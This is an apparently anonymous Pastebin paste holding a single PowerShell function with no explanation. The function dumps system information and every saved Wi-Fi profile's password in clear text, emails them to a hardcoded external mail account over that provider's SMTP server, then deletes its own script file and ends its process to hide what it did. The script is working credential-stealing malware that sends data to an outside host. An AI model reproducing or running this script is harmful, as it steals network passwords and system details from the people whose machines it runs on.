Advertisement
Guest User

Untitled

a guest
Jan 5th, 2017
291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.61 KB | None | 0 0
  1. Function sendMail() {$credential=(Get-Credential z35798410@sapo.pt); $info=(systeminfo|out-string)+(netsh wlan show profiles|Select-String -Pattern “All User Profile”|Foreach-Object{$.ToString()}|Foreach-Object{$.Replace(“ All User Profile : “,$null)}|ForEach-Object{netsh wlan show profiles name=”$_” key=clear}|out-string); send-mailMessage -to ‘z35798410@sapo.pt’ -subject ‘report’ -from ‘z35798410@sapo.pt’ -body $info -SmtpServer ‘smtp.sapo.pt’ -credential $credential;(New-Object -ComObject WScript.Shell).SendKeys(‘{CAPSLOCK}’);Remove-Item code.ps1; stop-process -Id $PID;} sendMail
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement